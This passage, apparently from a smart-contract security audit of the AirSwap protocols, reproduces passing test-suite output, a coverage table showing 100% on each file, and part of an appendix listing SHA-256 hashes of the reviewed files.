(86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert (146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address (42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) ✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 